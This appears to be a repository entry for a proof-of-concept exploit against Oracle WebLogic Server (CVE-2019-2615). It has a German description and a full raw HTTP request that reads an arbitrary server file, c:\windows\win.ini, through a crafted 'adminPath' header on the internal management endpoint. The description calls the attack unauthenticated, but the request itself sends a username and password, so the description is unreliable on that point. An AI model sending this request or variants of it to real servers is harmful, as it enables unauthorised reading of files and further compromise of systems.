chiaifan/cve-2019-2615Proof-of-Concept-Exploit für CVE-2019-2615, der auf Oracle WebLogic Server abzielt. Zeigt nicht authentifizierten Pfad-Traversal durch manipulierte HTTP-Anfragen, um beliebige Dateien zu lesen.
GET /bea_wls_management_internal2/wl_management HTTP/1.1
Host: 192.168.5.137:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
username:weblogic
password:admin123456
wl_request_type:wl_jsp_refresh_request
adminPath:c:\windows\win.ini
Upgrade-Insecure-Requests: 1
